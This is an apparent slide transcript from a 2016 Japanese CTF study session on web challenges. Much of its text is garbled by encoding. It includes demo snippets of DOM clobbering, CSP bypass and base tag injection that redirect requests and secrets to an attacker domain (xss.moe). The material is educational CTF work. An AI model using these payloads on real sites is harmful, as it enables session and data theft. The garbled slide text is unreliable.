katagaitai勉強会#6 EasyなWeb編 / katagaitaiCTF#6 Web

katagaitai勉強会#6 EasyなWeb編 / katagaitaiCTF#6 Web

katagaitai勉強会#6 Web編のスライドです。

6aaffafb38a160209c9164da25b3a3f3?s=128

Yu Yagihashi

August 13, 2016
Tweet

Transcript

  1. 5.
  2. 7.

    )BTIUBHLBUBHBJUBJ$5' .JTTJPO ‣ )PU$PXT%BUJOH )BDLMV$5'  ‣ -FU`TMFBSOUIF944XJUIPVUTDSJQUJOH ‣ 5IFSFBSFUXPXBZTUPTPMWF

    ‣ 8IBU`T%0.$MPCCFSJOH  ‣ 8IBU`T$POUFOU4FDVSJUZ1PMJDZ  ‣ $PPMPOF(PMEFOqBHBXBSEQSJ[FEBTUIFNPTU VOFYQFDUFETPMVUJPO
  3. 24.

    )BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 8IBUZPVIBWFUPEPpSTUMZJTHBUIFS JOGPSNBUJPO ‣ 8IPJTJOGPSNBUJPO %/4SFDPSET )551IFBEFST 

    4ZTUFNFSSPSNFTTBHFT BOETPPO ‣ 4PNFUJNFT IJEEFOQBHFTBSFMJTUFEPO
 lSPCPUTUYUz ‣ *UJTO`UHPPEUPIJEFTPNFUIJOHMJTUJOHPOSPCPUTUYU ‣ SPCPUTUYUJTPQFOUPFWFSZPOFPOUIF*OUFSOFU
 0GDPVSTFJU`TJOUFOEFEUPTIPXUIBUDSBXMFST
  4. 30.

    )BTIUBHLBUBHBJUBJ$5' (FUJOUPUIFTPVSDFDPEFT ‣ "QBSUGSPNBOZUIJOHFMTF MPPLUIF MJTUPGUIFTPVSDFDPEFT ‣ +VTUVTFAMT3APSAUSFFA ‣ 4PNF"1*TDSJQUTBSFJOUIFlBQJz

    EJSFDUPSZ JU`TJOUFSFTUJOH ‣ 5IFSFJTBDPOpHTDSJQUTOBNFEXJUI lDGHQIQz-FU`TCFHJOXJUIUIJT . ├── api │ ├── error.php │ ├── login.php │ ├── logout.php │ ├── premium.php │ ├── register.php │ └── report.php ├── cfg.php ├── css │ └── style.css ├── index.php ├── js │ ├── form.js │ ├── http.js │ ├── loader.js │ ├── pages │ │ ├── chat.js │ │ ├── error.js │ │ ├── index.js │ │ ├── internal.js │ │ ├── logout.js │ │ └── report.js │ ├── router.js │ └── template.js ├── lib │ ├── Template.php │ ├── session.php │ └── util.php ├── robots.txt ├── static │ ├── abbie.jpg │ ├── clara.jpg │ ├── cow_front.jpg │ ├── maggie.jpg │ └── rosie.jpg └── templates ├── cow.html ├── error.html ├── index.html ├── internal.html ├── layout.phtml ├── message.html ├── message.pjson └── report.html
  5. 36.

    )BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ $PVMEZPVpOEHPPEPOF  ‣ 4PNFUBHTXPSLPOl QDIBUT944 Tz ‣

    )PXFWFS DPVMEZPVSVOlBMFSU b944` zPOUIJT QBHF  ‣ 5IFSF`TTPNFUIJOHTUSBOHFXJUIUIJTTJUF  SJHIU
  6. 43.

    )BTIUBHLBUBHBJUBJ$5' 8IBU`TUIF$41 ‣ /FXHFOFSBUJPOXFCTFDVSJUZNFDIBOJTN ‣ #FZPOETUIF4BNF0SJHJO1PMJDZ ‣ &QPDINBLJOHBOUJ944GFBUVSFPOCSPXTFST ‣ 3FTUSJDUTMPBEJOHSFTPVSDFTCBTFEPOXIJUFMJTU

    ‣ 8FCTJUFJOGPSNTTBGFSFTPVSDFXJUIQPMJDZEJSFDUJWF UPCSPXTFST ‣ %JSFDUJWFTXPVMECFXSJUUFOJOUIFGPSNBUMJLF
 \EJSFDUJWFOBNF^\SFTPVSDFPSJHJOT^
  7. 44.

    )BTIUBHLBUBHBJUBJ$5' .PSFBCPVU$41 ‣ )PXUPVTF ‣ $POUFOU4FDVSJUZ1PMJDZIFBEFS ‣ $POUFOU4FDVSJUZ1PMJDZ3FQPSU0OMZIFBEFS ‣ .BKPSEJSFDUJWFT

    ZPVOFFEUPLOPXGPS$5'  ‣ EFGBVMUTSD ‣ TDSJQUTSD ‣ .BKPSSFTPVSDFT ZPVOFFEUPLOPXGPS$5'  ‣ bTFMG` ‣ bVOTBGFJOMJOF` ‣ bVOTBGFFWBM`
  8. 46.

    )BTIUBHLBUBHBJUBJ$5' 8IBU$41EJE ‣ -FU`TMPPLBUQPMJDJFT ‣ bTFMG`NFBOTUIFTDSJQUT PSTPNFUIJOHFMTF  PSJHJOBUFEGSPNUIFTBNFPSJHJOBSFQFSNJUUFE ‣

    5IFTFQPMJDJFTDPOUBJOOPbVOTBGFJOMJOF` ‣ 4PCSPXTFSTEPO`UFYFDVUFUIFDPEFTMJLFCFMPX
  *OMJOFTDSJQUT TDSJQUBMFSU bUIJT` TDSJQU 
  &WFOUIBOEMFST JNHTSDYPOFSSPSBMFSU bUIJT`  
  +BWB4DSJQUTDIFNF KBWBTDSJQUBMFSU bUIJT` default-src ‘none'; img-src 'self'; script-src ‘self'; style-src ‘self'; connect-src 'self'
  9. 47.

    )BTIUBHLBUBHBJUBJ$5' 8IBU$41EJE ‣ 0VS944DPEFJTʜ ‣ 0VS944DPEFJTJOKFDUFEUP)5.-DPOUFYU ‣ 4PXFIBWFUPVTFJOMJOFTDSJQUTUPFYFDVUFBSCJUSBM DPEFTPOUIFQBHF ‣

    )PXFWFSʜ ‣ $41CMPDLTFYFDVUJOHJOMJOFTDSJQUTKVTUMJLF
 lJNHTSDYPOFSSPSBMFSU  z ‣ *IBEBUBMLBCPVU$41 BMTPSFGFSUIBU ‣ IUUQXXXTMJEFTIBSFOFUZBHJIBTIPPDTQGYPT
  10. 50.
  11. 51.

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> <script>

    console.log(document.URL); // => http://example.com/~~~ </script> </head> <body> <form name="URL">foo bar</form> <script> console.log(document.URL); // => <form name="URL">foo bar</form> </script> </body> </html> TU%0.$MPCCFSJOH
  12. 52.

    )BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ :PVLOPX%0.JTSFBMMZNFTTFE ‣ /PUPOMZ%0. CVUUIF8FCJTBMMNFTTFEGPSMPOH UJNF ‣ 5IFSFTIPVMECFTPMJECPSEFSCFUXFFOUIF

    )5.-EPDVNFOUBOEUIF+BWB4DSJQUDPEF ‣ "OEJUIBWFUPCFGPSCJEEFOJNQMJDJUBDDFTTUPUIF +BWB4DSJQUXPSMEGSPN)5.-XPSME ‣ )PXFWFS GPSTPNFSFBTPOT JUDBOIBQQFOBOEMFBE TPNFBUUBDLTUPUIFTZTUFN5PEBZMFU`TVTFJU ‣ %0.$MPCCFSJOH5IF4QBOOFS ‣ IUUQXXXUIFTQBOOFSDPVLEPN DMPCCFSJOH
  13. 53.

    )BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ %0.USFFJTDPOTUSVDUFEBVUPNBUJDBMMZBGUFS %0.DPOUFOUMPBEJOH ‣ 8IFO%0.USFFJTDPOTUSVDUFE TPNFGPSNJUFN FMFNFOUTBSFJOUFHSBUFEJOUP%0.USFF NFBOT

    HFOFSBUJOHPCKFDUTJO+BWB4DSJQUXPSME  ‣ *UJTCBTFEPOUIFlOBNFzPSlJEzQSPQFSUZPGUIF FMFNFOUT ‣ 4PUIFFMFNFOUTOBNFEPSBTTJHOFE*%FYJTUTJO +BWB4DSJQUXPSMEGSPNUIFTUBSU
  14. 54.

    )BTIUBHLBUBHBJUBJ$5' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title>

    </head> <body> <form id="here">foo bar</form> <script> console.log(here.innerHTML); // => foo bar </script> </body> </html> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> </head> <body> <form name="here">foo bar</form> <script> console.log(document.here.innerHTML); // => foo bar </script> </body> </html> 8IBU`T%0.$MPCCFSJOH ‣ 5IF%0.FMFNFOUTPCKFDUTBSFHFOFSBUFE BVUPNBUJDBMMZ ‣ "OEJUDBOCFBDDFTTFEWJB+BWB4DSJQUDPEF ‣ 8IBUEPFTUIJTNFBO
  15. 55.

    )BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ +VTUMJLFCFMPX PWFSSJEJOHUPUIFEFGBVMU PCKFDUTPDDVSTGPSEPDVNFOU VTJOHUIJT UFDIOJRVF <!DOCTYPE html>

    <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> <script> console.log(document.URL); // => http://example.com/~~~ </script> </head> <body> <form name="URL">foo bar</form> <script> console.log(document.URL); // => <form name="URL">foo bar</form> </script> </body> </html> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> <script> var AAA = "global obj"; console.log(AAA); // => global obj </script> </head> <body> <form id="AAA">foo bar</form> <script> console.log(AAA); // => global obj </script> </body> </html>
  16. 57.

    <!-- The page is on "http://xss.moe/ base.html" --> <base href=“http://sqli.moe/">

    <a href="foo.html">foo</a> ⇒links to sqli.moe/foo.html <script> location.href=“bar.html" </script> ⇒move to sqli.moe/bar.html OE#BTFUBHJOKFDUJPO
  17. 58.

    )BTIUBHLBUBHBJUBJ$5' 5IFGFBUVSFPGCBTFUBH ‣ #BTFUBHEFpOFTUIFCBTFVSJGPSUIFSFMBUJWF QBUITJOUIFQBHF ‣ &⒎FDUCPUIUBHTBOEDPEFT ‣ +VTUMJLFCFMPX ‣

    $BOOPUVTFlKBWBTDSJQUz BOETPPO NBZCF  ‣ 4POPUVTFGVMGPS944JUTFMG <!-- The page is on "http://xss.moe/base.html" --> <base href=“http://sqli.moe/"> <a href="foo.html">foo</a> ⇒links to sqli.moe/foo.html <script>location.href="bar.html"</script> ⇒move to sqli.moe/bar.html
  18. 59.

    )BTIUBHLBUBHBJUBJ$5' 8IBUIBQQFOT ‣ *OGPSNBUJPOMFBLBHF ‣ *GUIFSFRVFTUXJUIVSMQBSBNFUFSPDDVSTPOUIFQBHF UIBUJTJOKFDUFENBMJDJPVTCBTFUBH UIPTFVSM QBSBNFUFSTXJMMCFTFOUUPUIFNBMJDJPVTTFSWFS
 ‣

    *OUIJTFYBNQMF UIFMJOLSFGFSTNBMJDJPVTEPNBJO lYTTNPFz ‣ *OUIFSFTVMU lTPNF@TFDSFU@JOGPzQBSBNFUFSMFBLTPVU UPUIFBOPUIFSTFSWFS ‣ 3FGFSFSTUPP ‣ *OUIFTPNFTJUVBUJPOT IUUQSFGFSFSJOGPXJMMBMTPMFBL <base href=“http://xss.moe/this_is_injected/”> <a href="foo.php?some_secret_info=XXX">link</a>
  19. 61.

    )BTIUBHLBUBHBJUBJ$5' #ZUIFXBZ ‣ 944OFFETTPNFTFSWFSUPSFDFJWFUIFEBUB ‣ %PZPVIBWFUIFPOFBTTJHOFEHMPCBM BEESFTT  ‣ *GZPVOPU

    VTFUIFTFTJUFT ‣ 5IBOLT!@//6@
 IUUQSFRVFTUCJO ‣ *NBEFUIJTMBTUOJHIUʜ
 IUUQLBUBHBJUBJTRMJNPF
  20. 63.

    )BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 6TFUIFEFWFMPQFSUPPMT ‣ DPNNBOE PQUJPO * ‣ DUSM

    TIJGU * ‣ "MMXFCBDDFTTFTBSFMJTUFEPO/FUXPSLUBC ‣ l BQJQSFNJVNQIQzJTUIFPOFXFKVTUTBX CFGPSFIBOE
  21. 65.

    )BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 5IFSFTVMUPGQBHFHFU1SFNJVN JTTUPSFEJO QBHFpSTU.FTTBHFGVODUJPOBUMJOF ‣ "OE JU`TEJWJEFEBOETUPSFEUPBOPUIFS WBSJBCMFTJNNFEJBUFMZ

    ‣ 'JOBMMZqBHJTJOQSFNJVN@JE ‣ 8IBUJTQSFNJVN@JEVTFEGPS  premium = page.getPremium(); has_premium = premium[‘success’]; premium_id = premium[‘message’];
  22. 66.

    )BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 'JOEBQISBTFlQSFNJVN@JEz ‣ *U`TBUMJOF ‣ 5IJTNFTTBHFWBSJBCMFJTVTFEGPS AUFNQBTTJHO NFTTBHF

    bNTH A ‣ 8IBU`TUFNQ  ‣ "OEZPVOPUJDFAWBSALFZXPSEJTOPUVTFBUBMMJOUIJT DPEF message = cow_name + ((has_premium) ? ' (' + premium_id + ')' : ‘');
  23. 73.

    )BTIUBHLBUBHBJUBJ$5' 5IJOLBCPVUTDFOBSJP ‣ 5IFSFJT944POUIFDIBUUJOHQBHF ‣ 5IFQBSBNFUFSNFBOTEFTUJOBUJPOJTWVMOFSBCMF ‣ 5IFTJUFIBWFBSFQPSUJOHQBHFBOEUIFBENJO NBZTFFUIFSFQPSUT ‣

    "OEBENJONBZIBWFBDPOWFSTBUJPOXJUIUIF SFQPSUFSVTJOHUIFDIBUUJOHQBHF ‣ 4PBENJOUZQFJOUPUIFSFQPSUFSOBNFUPUIF DIBUUJOHQBHF ‣ *UpSFTPVS944DPEFT
  24. 76.

    )BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ 'JSTUMZ lUFNQzWBSJBCMFQPJOUTMPDBUJPOPCKFDU ‣ $POUJOVPVTMZTUFQJOUPUIFOFYUGVODUJPODBMM ‣ *UDIBOHFTGSPNMPDBUJPOPCKFDUJOUP5FNQMBUFPCKFDU JOQBHFWJFXGVODUJPOBUMJOF

    ‣ 5IFOFYUGVODUJPODBMMJTGPSQBHFpSTU.FTTBHF XIJDIIBTDPEFEJTQMBZTUIFqBHPOUIFQBHF ‣ 0GDPVSTFUIFGVODUJPOEPFTO`USFEFpOFTlUFNQz temp = new Template('message.html');
  25. 77.

    )BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ %PZPVSFNFNCFSXIBU%0.DMPCCFSJOHDBO EP  ‣ 0WFSSJEFEPDVNFOU BOEDBVTFTPNFFSSPS ‣

    *GUIFDPEFDBMMTEPDVNFOU NFUIPECFGPSF lUFNQzWBSJBCMFJTPWFSSJEEFOUP5FNQMBUF PCKFDUʜ  ‣ *GJUPDDVSTJOQBHFWJFXGVODUJPO UFNQSFNBJOT CFJOHMPDBUJPOPCKFDUJOQBHFpSTU.FTTBHFGVODUJPO ‣ "OEMPDBUJPOBTTJHOXJMMCFDBMMFEXJUIUIFqBH
  26. 78.
  27. 79.

    )BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ -FU`TQSPWFUIFDPODFQUXPSLTXFMM ‣ 4FUUIFCSFBLQPJOUBUMJOF ‣ "DDFTTUPl QDIBUGPSN OBNFHFU&MFNFOU#Z*EGPSNz

    ‣ 4UFQJOUPOFYUGVODUJPODBMMGSPNUIFCSFBL QPJOU ‣ "OFSSPSPDDVSTBUMJOF ‣ 5PSFTVNFTDSJQUFYFDVUJPO ZPVBSFBU
 lGPSNOBNFHFU&MFNFOU#Z*EGPSNzBUUIFFOE btn_logout = document.getElementById('btn-logout');
  28. 80.

    )BTIUBHLBUBHBJUBJ$5' 'JOBMMZ ‣ *U`TQSPWFEUIBUMPDBUJPOBTTJHOJTDBMMFEXJUI MPDBUJPOIBTITMJDF   ‣ 4PVTJOHUIFMPDBUJPOIBTIMJLFCFMPXXJMM SFEJSFDUTCSPXTFSUPYTTNPF

    ‣ IUUQYTTNPFGPSNOBNFHFU&MFNFOU#Z*E GPSN ‣ 4PVTJOHUIFMPDBUJPOIBTIMJLFCFMPXXJMM SFEJSFDUTBENJO`TCSPXTFSUPYTTNPFXJUIUIF qBH ‣ IUUQYTTNPFGPSNOBNFHFU&MFNFOU#Z*E GPSN
  29. 92.

    )BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 5IFQBHFVTFTSFMBUJWFQBUIUPHFUUFNQMBUF pMF ‣ 4PJGCBTFUBHJTJOKFDUFE XFDBOPWFSSJEFSFRVFTU EFTUJOBUJPO ‣

    3FNFNCFSUIF$41QPMJDZ ‣ *UIBTBSVMFADPOOFDUTSDbTFMG`AUIBUSFTUSJDUT9)3 SFRVFTUTUPPUIFSPSJHJOT ‣ *GUIFEFTUJOBUJPOPGBSFRVFTUGPSHFUUJOHUFNQMBUFJT PUIFSPSJHJO $41WJPMBUJPOPDDVSTBOEJUDBVTFBO FSSPS
  30. 96.
  31. 100.